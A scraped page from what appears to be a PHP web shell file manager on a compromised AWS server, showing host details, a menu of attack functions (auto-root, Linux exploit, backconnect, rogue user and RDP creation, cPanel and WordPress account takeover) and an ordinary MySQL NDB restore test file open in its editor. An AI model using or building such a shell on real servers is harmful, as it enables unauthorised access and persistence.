Linux ip-172-26-2-223 5.4.0-1018-aws #18-Ubuntu SMP Wed Jun 24 01:15:00 UTC 2020 x86_64
Apache
: 172.26.2.223 | : 18.224.5.46
Cant Read [ /etc/named.conf ]
8.1.13
www
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
www /
server /
mysql /
mysql-test /
suite /
ndb /
t /
[ HOME SHELL ]
Name
Size
Permission
Action
bug36547.test
596
B
-rw-r--r--
clusterj.cnf
169
B
-rw-r--r--
clusterj.test
2.28
KB
-rw-r--r--
clusterj_jpa.test
2.71
KB
-rw-r--r--
disabled.def
1.36
KB
-rw-r--r--
have_ndb_dist_priv.inc
944
B
-rw-r--r--
have_ndb_error_insert.inc
931
B
-rw-r--r--
loaddata_autocom_ndb.test
308
B
-rw-r--r--
ndb_add_partition.cnf
594
B
-rw-r--r--
ndb_add_partition.test
13.3
KB
-rw-r--r--
ndb_addnode.cnf
665
B
-rw-r--r--
ndb_addnode.test
5.12
KB
-rw-r--r--
ndb_addnode_restart.cnf
79
B
-rw-r--r--
ndb_addnode_restart.test
299
B
-rw-r--r--
ndb_addnode_restart2.cnf
79
B
-rw-r--r--
ndb_addnode_restart2.test
465
B
-rw-r--r--
ndb_addnode_withbinlog.cnf
869
B
-rw-r--r--
ndb_addnode_withbinlog.test
1.18
KB
-rw-r--r--
ndb_alter_table.test
18.09
KB
-rw-r--r--
ndb_alter_table2.test
1.52
KB
-rw-r--r--
ndb_alter_table3.test
1.68
KB
-rw-r--r--
ndb_alter_table_backup.test
1.73
KB
-rw-r--r--
ndb_alter_table_dml.test
2.8
KB
-rw-r--r--
ndb_alter_table_error.test
1.15
KB
-rw-r--r--
ndb_alter_table_online.test
24.07
KB
-rw-r--r--
ndb_alter_table_online2.test
6.24
KB
-rw-r--r--
ndb_alter_table_online_multi.t...
2.08
KB
-rw-r--r--
ndb_auto_increment.test
12.89
KB
-rw-r--r--
ndb_autoinc.test
2.05
KB
-rw-r--r--
ndb_backup_rate.cnf
286
B
-rw-r--r--
ndb_backup_rate.test
2.35
KB
-rw-r--r--
ndb_basic.test
21.28
KB
-rw-r--r--
ndb_bitfield.test
6.54
KB
-rw-r--r--
ndb_blob.test
18.61
KB
-rw-r--r--
ndb_blob_big.cnf
380
B
-rw-r--r--
ndb_blob_big.test
1.83
KB
-rw-r--r--
ndb_blob_partition.test
4.49
KB
-rw-r--r--
ndb_bug13563280.test
743
B
-rw-r--r--
ndb_bug14166590.cnf
63
B
-rw-r--r--
ndb_bug14166590.test
1.45
KB
-rw-r--r--
ndb_bug17624736.cnf
110
B
-rw-r--r--
ndb_bug17624736.test
2.15
KB
-rw-r--r--
ndb_bug17719439.cnf
63
B
-rw-r--r--
ndb_bug17719439.test
1.34
KB
-rw-r--r--
ndb_bug19390895.cnf
272
B
-rw-r--r--
ndb_bug19390895.test
1.06
KB
-rw-r--r--
ndb_bug26793.test
1.06
KB
-rw-r--r--
ndb_bug31477.test
2.33
KB
-rw-r--r--
ndb_bulk_delete.test
4.13
KB
-rw-r--r--
ndb_bushy_joins.cnf
476
B
-rw-r--r--
ndb_bushy_joins.test
9.03
KB
-rw-r--r--
ndb_cache.cnf
201
B
-rw-r--r--
ndb_cache.test
8.13
KB
-rw-r--r--
ndb_cache2.cnf
23
B
-rw-r--r--
ndb_cache2.test
11.26
KB
-rw-r--r--
ndb_cache_multi.cnf
23
B
-rw-r--r--
ndb_cache_multi.test
2.09
KB
-rw-r--r--
ndb_cache_multi2.cnf
23
B
-rw-r--r--
ndb_cache_multi2.test
4.5
KB
-rw-r--r--
ndb_cache_trans.cnf
23
B
-rw-r--r--
ndb_cache_trans.test
4.85
KB
-rw-r--r--
ndb_charset.test
6.63
KB
-rw-r--r--
ndb_checksum.cnf
50
B
-rw-r--r--
ndb_checksum.test
77
B
-rw-r--r--
ndb_column_properties.test
4.71
KB
-rw-r--r--
ndb_condition_pushdown.test
85.29
KB
-rw-r--r--
ndb_config.test
4.16
KB
-rw-r--r--
ndb_config2.test
514
B
-rw-r--r--
ndb_create_table.test
1005
B
-rw-r--r--
ndb_cursor.test
1.1
KB
-rw-r--r--
ndb_database.test
3.18
KB
-rw-r--r--
ndb_dbug_lock.test
2.15
KB
-rw-r--r--
ndb_dbug_tc_select.test
4.03
KB
-rw-r--r--
ndb_dbug_tc_select_1.inc
1.83
KB
-rw-r--r--
ndb_dbug_tc_select_2.inc
1.91
KB
-rw-r--r--
ndb_dbug_tc_select_3.inc
2.06
KB
-rw-r--r--
ndb_dd_alter.test
9
KB
-rw-r--r--
ndb_dd_basic.test
20.93
KB
-rw-r--r--
ndb_dd_bug12581213.cnf
111
B
-rw-r--r--
ndb_dd_bug12581213.test
580
B
-rw-r--r--
ndb_dd_ddl.test
8.07
KB
-rw-r--r--
ndb_dd_disk2memory.test
10.4
KB
-rw-r--r--
ndb_dd_dump.test
10.79
KB
-rw-r--r--
ndb_dd_initial_lg.cnf
796
B
-rw-r--r--
ndb_dd_initial_lg.test
1.11
KB
-rw-r--r--
ndb_dd_restore_check_tablespac...
12.25
KB
-rw-r--r--
ndb_dd_restore_compat.test
1.13
KB
-rw-r--r--
ndb_dd_sql_features.test
16.35
KB
-rw-r--r--
ndb_ddl_open_trans.test
3.03
KB
-rw-r--r--
ndb_disconnect_ddl.test
1.52
KB
-rw-r--r--
ndb_discover_db-master.opt
43
B
-rw-r--r--
ndb_discover_db.test
3.41
KB
-rw-r--r--
ndb_dist_priv.test
10.53
KB
-rw-r--r--
ndb_dist_priv_bug_13340854.tes...
1.31
KB
-rw-r--r--
ndb_err4012.test
2.79
KB
-rw-r--r--
ndb_error_reporter.ini
288
B
-rw-r--r--
ndb_error_reporter.test
3.3
KB
-rw-r--r--
ndb_fired_trigger_shortage.cnf
60
B
-rw-r--r--
ndb_fired_trigger_shortage.tes...
1.31
KB
-rw-r--r--
ndb_fk_addnode.cnf
931
B
-rw-r--r--
ndb_fk_addnode.test
2.07
KB
-rw-r--r--
ndb_fk_alter.test
3.95
KB
-rw-r--r--
ndb_fk_bugs.test
20.95
KB
-rw-r--r--
ndb_fk_build.test
2.18
KB
-rw-r--r--
ndb_fk_cascade_delete.test
3.86
KB
-rw-r--r--
ndb_fk_cascade_delete_multi.te...
1.96
KB
-rw-r--r--
ndb_fk_cascade_update.test
1.37
KB
-rw-r--r--
ndb_fk_create_drop.test
2.55
KB
-rw-r--r--
ndb_fk_db.test
2.59
KB
-rw-r--r--
ndb_fk_deferred_cascade.test
2.81
KB
-rw-r--r--
ndb_fk_disable.test
11.61
KB
-rw-r--r--
ndb_fk_is.inc
2.59
KB
-rw-r--r--
ndb_fk_is.test
161
B
-rw-r--r--
ndb_fk_locase.cnf
63
B
-rw-r--r--
ndb_fk_locase.test
1.54
KB
-rw-r--r--
ndb_fk_locking.test
2.1
KB
-rw-r--r--
ndb_fk_multi_column.test
1.5
KB
-rw-r--r--
ndb_fk_mysqldump.test
1.32
KB
-rw-r--r--
ndb_fk_mysqldump2.test
1.76
KB
-rw-r--r--
ndb_fk_no_fk.test
25.97
KB
-rw-r--r--
ndb_fk_no_fk_compat.inc
3.94
KB
-rw-r--r--
ndb_fk_no_fk_legacy.test
112
B
-rw-r--r--
ndb_fk_no_fk_ndb-master.opt
49
B
-rw-r--r--
ndb_fk_no_fk_ndb.test
139
B
-rw-r--r--
ndb_fk_noaction.test
4.78
KB
-rw-r--r--
ndb_fk_resources.cnf
91
B
-rw-r--r--
ndb_fk_resources.test
1.44
KB
-rw-r--r--
ndb_fk_restore.inc
2.9
KB
-rw-r--r--
ndb_fk_restore.test
3.63
KB
-rw-r--r--
ndb_fk_restrict.test
5.19
KB
-rw-r--r--
ndb_fk_self_ref.test
3.85
KB
-rw-r--r--
ndb_fk_setdefault.test
982
B
-rw-r--r--
ndb_fk_setnull.test
2.43
KB
-rw-r--r--
ndb_global_schema_lock.test
3.71
KB
-rw-r--r--
ndb_global_schema_lock_error.t...
1.73
KB
-rw-r--r--
ndb_grant.later
10.98
KB
-rw-r--r--
ndb_hashmap.cnf
61
B
-rw-r--r--
ndb_hashmap.test
821
B
-rw-r--r--
ndb_hidden_pk.test
2.76
KB
-rw-r--r--
ndb_index.test
13.42
KB
-rw-r--r--
ndb_index_ordered.test
15.67
KB
-rw-r--r--
ndb_index_stat.test
11.05
KB
-rw-r--r--
ndb_index_stat_enable.inc
1.18
KB
-rw-r--r--
ndb_index_stat_partitions-mast...
70
B
-rw-r--r--
ndb_index_stat_partitions.test
4.27
KB
-rw-r--r--
ndb_index_stat_restart.test
2.47
KB
-rw-r--r--
ndb_index_unique.test
16.63
KB
-rw-r--r--
ndb_init_schema_locks_count.in...
325
B
-rw-r--r--
ndb_insert.test
37.01
KB
-rw-r--r--
ndb_join_pushdown.inc
131.68
KB
-rw-r--r--
ndb_join_pushdown_bka.test
2.98
KB
-rw-r--r--
ndb_join_pushdown_default.test
356
B
-rw-r--r--
ndb_join_pushdown_nobnl.test
464
B
-rw-r--r--
ndb_join_pushdown_none.test
1.15
KB
-rw-r--r--
ndb_jtie.test
1.17
KB
-rw-r--r--
ndb_limit.test
2.44
KB
-rw-r--r--
ndb_load.test
2.33
KB
-rw-r--r--
ndb_loaddatalocal.test
2.63
KB
-rw-r--r--
ndb_lock.test
5.89
KB
-rw-r--r--
ndb_lock_table.test
494
B
-rw-r--r--
ndb_many_fragments.cnf
433
B
-rw-r--r--
ndb_many_fragments.test
1.91
KB
-rw-r--r--
ndb_mgm.cnf
172
B
-rw-r--r--
ndb_mgm.inc
130
B
-rw-r--r--
ndb_mgm.test
7.38
KB
-rw-r--r--
ndb_mgmd.cnf
99
B
-rw-r--r--
ndb_mgmd.test
637
B
-rw-r--r--
ndb_minmax.test
1.48
KB
-rw-r--r--
ndb_multi.test
11.13
KB
-rw-r--r--
ndb_multi_row.test
1.99
KB
-rw-r--r--
ndb_multi_update_delete.test
2.02
KB
-rw-r--r--
ndb_native_default_support.tes...
27.65
KB
-rw-r--r--
ndb_one_fragment.cnf
443
B
-rw-r--r--
ndb_one_fragment.test
3.14
KB
-rw-r--r--
ndb_optimize_table.test
2.65
KB
-rw-r--r--
ndb_optimized_node_selection.t...
1.09
KB
-rw-r--r--
ndb_partition_error.test
2.04
KB
-rw-r--r--
ndb_partition_error2.test
579
B
-rw-r--r--
ndb_partition_hash.test
1.73
KB
-rw-r--r--
ndb_partition_key.test
7.85
KB
-rw-r--r--
ndb_partition_list.test
2.88
KB
-rw-r--r--
ndb_partition_range.test
8.11
KB
-rw-r--r--
ndb_print_file.test
1.35
KB
-rw-r--r--
ndb_rbwr.inc
2.13
KB
-rw-r--r--
ndb_rbwr.test
11.15
KB
-rw-r--r--
ndb_read_multi_range.test
14.9
KB
-rw-r--r--
ndb_reconnect.test
4.03
KB
-rw-r--r--
ndb_rename.test
1.19
KB
-rw-r--r--
ndb_replace.test
4.34
KB
-rw-r--r--
ndb_restart_nostart.inc
147
B
-rw-r--r--
ndb_restart_start.inc
130
B
-rw-r--r--
ndb_restore_bug17916243.test
1.21
KB
-rw-r--r--
ndb_restore_compat_compression...
46
B
-rw-r--r--
ndb_restore_compat_compression...
799
B
-rw-r--r--
ndb_restore_compat_downward.te...
4.21
KB
-rw-r--r--
ndb_restore_compat_endianness....
6.94
KB
-rw-r--r--
ndb_restore_conv_lossy_charbin...
17.35
KB
-rw-r--r--
ndb_restore_conv_lossy_integra...
23.02
KB
-rw-r--r--
ndb_restore_conv_more.test
20.65
KB
-rw-r--r--
ndb_restore_conv_padding.test
9.58
KB
-rw-r--r--
ndb_restore_conv_promotion.tes...
12.91
KB
-rw-r--r--
ndb_restore_discover.test
1.72
KB
-rw-r--r--
ndb_restore_misc.cnf
147
B
-rw-r--r--
ndb_restore_misc.test
27.44
KB
-rw-r--r--
ndb_restore_print.test
6.98
KB
-rw-r--r--
ndb_restore_schema_blobs.test
4.43
KB
-rw-r--r--
ndb_restore_schema_partitions....
15.04
KB
-rw-r--r--
ndb_restore_schema_rewrites.te...
16.47
KB
-rw-r--r--
ndb_restore_schema_subsets.tes...
11.14
KB
-rw-r--r--
ndb_restore_schema_tolerance.t...
6.72
KB
-rw-r--r--
ndb_restore_undolog.cnf
509
B
-rw-r--r--
ndb_restore_undolog.test
16.89
KB
-rw-r--r--
ndb_row_count.test
3.16
KB
-rw-r--r--
ndb_row_format.test
2.28
KB
-rw-r--r--
ndb_schema_locks_count.inc
308
B
-rw-r--r--
ndb_select_count.test
574
B
-rw-r--r--
ndb_share.cnf
652
B
-rw-r--r--
ndb_share.test
9.86
KB
-rw-r--r--
ndb_short_sigs.cnf
170
B
-rw-r--r--
ndb_short_sigs.test
2.7
KB
-rw-r--r--
ndb_show_tables_result.inc
768
B
-rw-r--r--
ndb_single_user-master.opt
32
B
-rw-r--r--
ndb_single_user.test
4.92
KB
-rw-r--r--
ndb_sp.test
1.09
KB
-rw-r--r--
ndb_spj_dict.test
9.25
KB
-rw-r--r--
ndb_sql_allow_batching.test
1.33
KB
-rw-r--r--
ndb_startup.test
2.01
KB
-rw-r--r--
ndb_statistics.inc
3.31
KB
-rw-r--r--
ndb_statistics0.test
613
B
-rw-r--r--
ndb_statistics1.test
612
B
-rw-r--r--
ndb_subquery.test
7.14
KB
-rw-r--r--
ndb_suma_handover.cnf
324
B
-rw-r--r--
ndb_suma_handover.test
1.62
KB
-rw-r--r--
ndb_temporary.test
1.3
KB
-rw-r--r--
ndb_tmp_table_and_DDL.test
603
B
-rw-r--r--
ndb_transaction.test
5.97
KB
-rw-r--r--
ndb_trigger.test
8.98
KB
-rw-r--r--
ndb_truncate.test
1004
B
-rw-r--r--
ndb_types.test
4.9
KB
-rw-r--r--
ndb_update.test
2.94
KB
-rw-r--r--
ndb_update_no_read.test
17.18
KB
-rw-r--r--
ndb_view.test
817
B
-rw-r--r--
ndb_wait_nostart.inc
103
B
-rw-r--r--
ndb_wait_started.inc
84
B
-rw-r--r--
ndb_wait_until_ready.cnf
544
B
-rw-r--r--
ndb_wait_until_ready.test
4.19
KB
-rw-r--r--
ndb_waiter.inc
148
B
-rw-r--r--
ndb_wl946_create.inc
449
B
-rw-r--r--
ndb_wl946_main.test
7.1
KB
-rw-r--r--
ndb_wl946_main_query.inc
66.38
KB
-rw-r--r--
ndb_wl946_post.test
2.67
KB
-rw-r--r--
ndb_wl946_pre.test
2.67
KB
-rw-r--r--
ndb_wl946_pre_query.inc
589
B
-rw-r--r--
ndb_wl946_select_all.inc
1.41
KB
-rw-r--r--
ndbapi-examples.test
3.29
KB
-rw-r--r--
ndbinfo.test
24.32
KB
-rw-r--r--
ndbinfo_cache.cnf
23
B
-rw-r--r--
ndbinfo_cache.test
882
B
-rw-r--r--
ndbinfo_dump.test
780
B
-rw-r--r--
ndbinfo_upgrade.test
1.15
KB
-rw-r--r--
ps_7ndb.test
1.08
KB
-rw-r--r--
show_attributes.inc
664
B
-rw-r--r--
show_indexes.inc
674
B
-rw-r--r--
show_primary_keys.inc
609
B
-rw-r--r--
show_varpart.inc
762
B
-rw-r--r--
strict_autoinc_5ndb.test
356
B
-rw-r--r--
test_debugger.test
267
B
-rw-r--r--
test_mgm.test
262
B
-rw-r--r--
test_mgmd.cnf
232
B
-rw-r--r--
test_mgmd.test
473
B
-rw-r--r--
test_ndbinfo.test
439
B
-rw-r--r--
wl10837.test
274
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ndb_restore_schema_rewrites.test
# The include statement below is a temp one for tests that are yet to #be ported to run with InnoDB, #but needs to be kept for tests that would need MyISAM in future. --source include/force_myisam_default.inc ###################################################################### # Test restoring backups into renamed databases ###################################################################### -- source include/have_ndb.inc # mysqld's configuration is not relevant to this test -- source include/not_embedded.inc --echo ************************************************************ --echo * Creating multiple databases with identical tables --echo * (have blobs and indexes to cover the hidden tables) --echo ************************************************************ CREATE DATABASE db0; CREATE DATABASE db1; CREATE DATABASE db2; USE db0; CREATE TABLE t0 ( id INT PRIMARY KEY, cint INT, cvarchar VARCHAR(5), cblob BLOB(1000004), UNIQUE INDEX UNIQUE_t0_0 USING BTREE (cint ASC), UNIQUE INDEX UNIQUE_t0_2 USING BTREE (cvarchar ASC) ) ENGINE=NDB; USE db1; CREATE TABLE t0 ( id INT PRIMARY KEY, cint INT, cvarchar VARCHAR(5), cblob BLOB(1000004), UNIQUE INDEX UNIQUE_t0_0 USING BTREE (cint ASC), UNIQUE INDEX UNIQUE_t0_2 USING BTREE (cvarchar ASC) ) ENGINE=NDB; USE db2; CREATE TABLE t0 ( id INT PRIMARY KEY, cint INT, cvarchar VARCHAR(5), cblob BLOB(1000004), UNIQUE INDEX UNIQUE_t0_0 USING BTREE (cint ASC), UNIQUE INDEX UNIQUE_t0_2 USING BTREE (cvarchar ASC) ) ENGINE=NDB; --echo ************************************************************ --echo * Inserting data --echo * (create disjunct sets of rows to merge without conflicts; --echo * at this time, ndb_restore does not offer any detection --echo * of data conflicts between databases in the backup or in --echo * memory; databases are restored in an unspecified order) --echo * (make blob data long enough to be held in extra table) --echo ************************************************************ USE db0; INSERT INTO t0 VALUES (0, 0, '00000', '123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890'); INSERT INTO t0 VALUES (1, 1, '11111', '123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890'); INSERT INTO t0 VALUES (2, 2, '22222', '123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890'); USE db1; INSERT INTO t0 VALUES (3, 3, '33333', '123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890'); INSERT INTO t0 VALUES (4, 4, '44444', '123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890'); INSERT INTO t0 VALUES (5, 5, '55555', '123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890'); USE db2; INSERT INTO t0 VALUES (6, 6, '66666', '123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890'); INSERT INTO t0 VALUES (7, 7, '77777', '123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890'); INSERT INTO t0 VALUES (8, 8, '88888', '123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890'); --echo ************************************************************ --echo * Creating in-memory copies of the NDB tables --echo ************************************************************ CREATE TABLE db0.t0_data ENGINE=MYISAM AS SELECT * FROM db0.t0; CREATE TABLE db1.t0_data ENGINE=MYISAM AS SELECT * FROM db1.t0; CREATE TABLE db2.t0_data ENGINE=MYISAM AS SELECT * FROM db2.t0; --echo ************************************************************ --echo * Backing up databases --echo ************************************************************ --source include/ndb_backup.inc # command shortcuts, cover rebuilding of indexes --let $restore_cmd=$NDB_RESTORE --no-defaults --let $restore_cmd=$restore_cmd --disable-indexes --rebuild-indexes --let $restore_cmd=$restore_cmd -b $the_backup_id -r --let $restore_cmd=$restore_cmd --backup_path=$NDB_BACKUPS-$the_backup_id --echo ************************************************************ --echo * Restoring databases with no rewrite (sanity check) --echo ************************************************************ # create temporary tables against which to compare data CREATE TABLE db0.t0_temp ENGINE=MYISAM AS SELECT * FROM db0.t0_data; CREATE TABLE db1.t0_temp ENGINE=MYISAM AS SELECT * FROM db1.t0_data; CREATE TABLE db2.t0_temp ENGINE=MYISAM AS SELECT * FROM db2.t0_data; # restore NDB tables DELETE FROM db0.t0; DELETE FROM db1.t0; DELETE FROM db2.t0; --let $restore_opt= --exec $restore_cmd -n 1 $restore_opt --print > /dev/null --exec $restore_cmd -n 2 $restore_opt --print > /dev/null # summary-check ndb tables SELECT COUNT(*) FROM db0.t0; SELECT COUNT(*) FROM db1.t0; SELECT COUNT(*) FROM db2.t0; # verify ndb tables SELECT COUNT(*) FROM db0.t0 NATURAL JOIN db0.t0_temp; SELECT COUNT(*) FROM db1.t0 NATURAL JOIN db1.t0_temp; SELECT COUNT(*) FROM db2.t0 NATURAL JOIN db2.t0_temp; # delete temporary tables DROP TABLE db0.t0_temp; DROP TABLE db1.t0_temp; DROP TABLE db2.t0_temp; --echo ************************************************************ --echo * Negative testing: check wrong usage of command-line option --echo * (expected exit code for usage errors: NDBT_WRONGARGS = 2) --echo ************************************************************ # empty argument --let $restore_opt=--rewrite-database= --error 2 --exec $restore_cmd -n 1 $restore_opt > /dev/null # missing separator --let $restore_opt=--rewrite-database=aaaa --error 2 --exec $restore_cmd -n 1 $restore_opt > /dev/null # missing source and target --let $restore_opt=--rewrite-database=, --error 2 --exec $restore_cmd -n 1 $restore_opt > /dev/null # missing source --let $restore_opt=--rewrite-database=,a --error 2 --exec $restore_cmd -n 1 $restore_opt > /dev/null # missing target --let $restore_opt=--rewrite-database=a, --error 2 --exec $restore_cmd -n 1 $restore_opt > /dev/null --echo ************************************************************ --echo * Restoring databases with redundant/self-rewrite options --echo ************************************************************ # create temporary tables against which to compare data CREATE TABLE db0.t0_temp ENGINE=MYISAM AS SELECT * FROM db0.t0_data; CREATE TABLE db1.t0_temp ENGINE=MYISAM AS SELECT * FROM db1.t0_data; CREATE TABLE db2.t0_temp ENGINE=MYISAM AS SELECT * FROM db2.t0_data; # restore NDB tables DELETE FROM db0.t0; DELETE FROM db1.t0; DELETE FROM db2.t0; --let $restore_opt=--rewrite-database=db0,db0 --rewrite-database=db1,db1 --exec $restore_cmd -n 1 $restore_opt --print > /dev/null --exec $restore_cmd -n 2 $restore_opt --print > /dev/null # summary-check ndb tables SELECT COUNT(*) FROM db0.t0; SELECT COUNT(*) FROM db1.t0; SELECT COUNT(*) FROM db2.t0; # verify ndb tables SELECT COUNT(*) FROM db0.t0 NATURAL JOIN db0.t0_temp; SELECT COUNT(*) FROM db1.t0 NATURAL JOIN db1.t0_temp; SELECT COUNT(*) FROM db2.t0 NATURAL JOIN db2.t0_temp; # delete temporary tables DROP TABLE db0.t0_temp; DROP TABLE db1.t0_temp; DROP TABLE db2.t0_temp; --echo ************************************************************ --echo * Restoring databases with overriding rewrite options --echo ************************************************************ # create temporary tables against which to compare data CREATE TABLE db0.t0_temp ENGINE=MYISAM AS SELECT * FROM db0.t0_data; CREATE TABLE db1.t0_temp ENGINE=MYISAM AS SELECT * FROM db1.t0_data; CREATE TABLE db2.t0_temp ENGINE=MYISAM AS SELECT * FROM db2.t0_data; # restore NDB tables DELETE FROM db0.t0; DELETE FROM db1.t0; DELETE FROM db2.t0; # no rewrite, since the later option overrides the former --let $restore_opt=--rewrite-database=db0,db1 --rewrite-database=db0,db0 --exec $restore_cmd -n 1 $restore_opt --print > /dev/null --exec $restore_cmd -n 2 $restore_opt --print > /dev/null # summary-check ndb tables SELECT COUNT(*) FROM db0.t0; SELECT COUNT(*) FROM db1.t0; SELECT COUNT(*) FROM db2.t0; # verify ndb tables SELECT COUNT(*) FROM db0.t0 NATURAL JOIN db0.t0_temp; SELECT COUNT(*) FROM db1.t0 NATURAL JOIN db1.t0_temp; SELECT COUNT(*) FROM db2.t0 NATURAL JOIN db2.t0_temp; # delete temporary tables DROP TABLE db0.t0_temp; DROP TABLE db1.t0_temp; DROP TABLE db2.t0_temp; --echo ************************************************************ --echo * Restoring databases with a single rewrite --echo ************************************************************ # create temporary tables against which to compare data CREATE TABLE db0.t0_temp LIKE db0.t0_data; CREATE TABLE db1.t0_temp LIKE db1.t0_data; CREATE TABLE db2.t0_temp LIKE db2.t0_data; # restore NDB tables DELETE FROM db0.t0; DELETE FROM db1.t0; DELETE FROM db2.t0; --let $restore_opt=--rewrite-database=db0,db1 --exec $restore_cmd -n 1 $restore_opt --print > /dev/null --exec $restore_cmd -n 2 $restore_opt --print > /dev/null # summary-check ndb tables SELECT COUNT(*) FROM db0.t0; SELECT COUNT(*) FROM db1.t0; SELECT COUNT(*) FROM db2.t0; # fill temporary tables INSERT db1.t0_temp SELECT * FROM db0.t0_data; INSERT db1.t0_temp SELECT * FROM db1.t0_data; INSERT db2.t0_temp SELECT * FROM db2.t0_data; # verify ndb tables SELECT COUNT(*) FROM db0.t0 NATURAL JOIN db0.t0_temp; SELECT COUNT(*) FROM db1.t0 NATURAL JOIN db1.t0_temp; SELECT COUNT(*) FROM db2.t0 NATURAL JOIN db2.t0_temp; # delete temporary tables DROP TABLE db0.t0_temp; DROP TABLE db1.t0_temp; DROP TABLE db2.t0_temp; --echo ************************************************************ --echo * Restoring databases with multiple rewrites --echo ************************************************************ # create temporary tables against which to compare data CREATE TABLE db0.t0_temp LIKE db0.t0_data; CREATE TABLE db1.t0_temp LIKE db1.t0_data; CREATE TABLE db2.t0_temp LIKE db2.t0_data; # restore NDB tables DELETE FROM db0.t0; DELETE FROM db1.t0; DELETE FROM db2.t0; --let $restore_opt=--rewrite-database=db0,db1 --rewrite-database=db1,db2 --exec $restore_cmd -n 1 $restore_opt --print > /dev/null --exec $restore_cmd -n 2 $restore_opt --print > /dev/null # summary-check ndb tables SELECT COUNT(*) FROM db0.t0; SELECT COUNT(*) FROM db1.t0; SELECT COUNT(*) FROM db2.t0; # fill temporary tables INSERT db1.t0_temp SELECT * FROM db0.t0_data; INSERT db2.t0_temp SELECT * FROM db1.t0_data; INSERT db2.t0_temp SELECT * FROM db2.t0_data; # verify ndb tables SELECT COUNT(*) FROM db0.t0 NATURAL JOIN db0.t0_temp; SELECT COUNT(*) FROM db1.t0 NATURAL JOIN db1.t0_temp; SELECT COUNT(*) FROM db2.t0 NATURAL JOIN db2.t0_temp; # delete temporary tables DROP TABLE db0.t0_temp; DROP TABLE db1.t0_temp; DROP TABLE db2.t0_temp; --echo ************************************************************ --echo * Restoring databases with multiple rewrites into same target --echo ************************************************************ # create temporary tables against which to compare data CREATE TABLE db0.t0_temp LIKE db0.t0_data; CREATE TABLE db1.t0_temp LIKE db1.t0_data; CREATE TABLE db2.t0_temp LIKE db2.t0_data; # restore NDB tables DELETE FROM db0.t0; DELETE FROM db1.t0; DELETE FROM db2.t0; --let $restore_opt=--rewrite-database=db0,db2 --rewrite-database=db1,db2 --exec $restore_cmd -n 1 $restore_opt --print > /dev/null --exec $restore_cmd -n 2 $restore_opt --print > /dev/null # summary-check ndb tables SELECT COUNT(*) FROM db0.t0; SELECT COUNT(*) FROM db1.t0; SELECT COUNT(*) FROM db2.t0; # fill temporary tables INSERT db2.t0_temp SELECT * FROM db0.t0_data; INSERT db2.t0_temp SELECT * FROM db1.t0_data; INSERT db2.t0_temp SELECT * FROM db2.t0_data; # verify ndb tables SELECT COUNT(*) FROM db0.t0 NATURAL JOIN db0.t0_temp; SELECT COUNT(*) FROM db1.t0 NATURAL JOIN db1.t0_temp; SELECT COUNT(*) FROM db2.t0 NATURAL JOIN db2.t0_temp; # delete temporary tables DROP TABLE db0.t0_temp; DROP TABLE db1.t0_temp; DROP TABLE db2.t0_temp; --echo ************************************************************ --echo * Restoring databases with swapping rewrites --echo ************************************************************ # create temporary tables against which to compare data CREATE TABLE db0.t0_temp LIKE db0.t0_data; CREATE TABLE db1.t0_temp LIKE db1.t0_data; CREATE TABLE db2.t0_temp LIKE db2.t0_data; # restore NDB tables DELETE FROM db0.t0; DELETE FROM db1.t0; DELETE FROM db2.t0; --let $restore_opt=--rewrite-database=db0,db1 --rewrite-database=db1,db0 --exec $restore_cmd -n 1 $restore_opt --print > /dev/null --exec $restore_cmd -n 2 $restore_opt --print > /dev/null # summary-check ndb tables SELECT COUNT(*) FROM db0.t0; SELECT COUNT(*) FROM db1.t0; SELECT COUNT(*) FROM db2.t0; # fill temporary tables INSERT db1.t0_temp SELECT * FROM db0.t0_data; INSERT db0.t0_temp SELECT * FROM db1.t0_data; INSERT db2.t0_temp SELECT * FROM db2.t0_data; # verify ndb tables SELECT COUNT(*) FROM db0.t0 NATURAL JOIN db0.t0_temp; SELECT COUNT(*) FROM db1.t0 NATURAL JOIN db1.t0_temp; SELECT COUNT(*) FROM db2.t0 NATURAL JOIN db2.t0_temp; # delete temporary tables DROP TABLE db0.t0_temp; DROP TABLE db1.t0_temp; DROP TABLE db2.t0_temp; --echo ************************************************************ --echo * Restoring databases with permutating rewrites --echo ************************************************************ # create temporary tables against which to compare data CREATE TABLE db0.t0_temp LIKE db0.t0_data; CREATE TABLE db1.t0_temp LIKE db1.t0_data; CREATE TABLE db2.t0_temp LIKE db2.t0_data; # restore NDB tables DELETE FROM db0.t0; DELETE FROM db1.t0; DELETE FROM db2.t0; --let $restore_opt=--rewrite-database=db0,db1 --rewrite-database=db1,db2 --let 